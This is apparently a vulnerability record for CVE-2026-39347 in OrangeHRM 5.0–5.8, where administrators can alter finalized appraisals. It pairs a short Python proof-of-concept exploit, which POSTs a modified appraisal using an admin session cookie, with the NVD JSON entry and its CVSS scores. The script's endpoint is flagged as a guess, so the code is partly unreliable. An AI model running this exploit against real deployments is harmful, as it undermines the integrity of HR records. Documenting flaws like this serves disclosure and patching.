CVE-2026-39347

import requests # Exploit Title: OrangeHRM 5.0-5.8 - Administrator Modification of Finalized Appraisals # Date: 2026-04-07 # Exploit Author: Analyst # Vendor Homepage: https://www.orangehrm.com/ # Software Link: https://github.com/orangehrm/orangehrm # Version: 5.0 - 5.8 # CVE: CVE-2026-39347 def exploit(target_url, session_cookie, appraisal_id, new_comment): """ Demonstrates modifying a finalized appraisal as an administrator. """ headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Payload to update the finalized appraisal payload = { "appraisalId": appraisal_id, "comment": new_comment, "status": "completed" # Keeping status as completed but changing content } # Endpoint for saving appraisal (example endpoint, may vary by version) url = f"{target_url}/pim/savePerformanceReview" response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully modified finalized appraisal {appraisal_id}.") else: print(f"[-] Failed to modify appraisal. Status code: {response.status_code}") # Usage Example # exploit("http://target-orangehrm.com", "admin_session_id", "101", "Modified by admin post-submission")

{"cve": {"id": "CVE-2026-39347", "sourceIdentifier": "[email protected]", "published": "2026-04-07T19:16:45.780", "lastModified": "2026-04-09T18:25:04.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OrangeHRM is a comprehensive human resource management (HRM) system. From 5.0 to 5.8, OrangeHRM Open Source accepts changes to self-appraisal submissions for administrator users after those submissions have been marked completed, breaking integrity of finalized appraisal records. This vulnerability is fixed in 5.8.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.8.1", "matchCriteriaId": "804C1EE9-4D17-4056-B3D6-1BDB9F0BB026"}]}]}], "references": [{"url": "https://github.com/orangehrm/orangehrm/security/advisories/GHSA-7j84-w7h5-24pc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}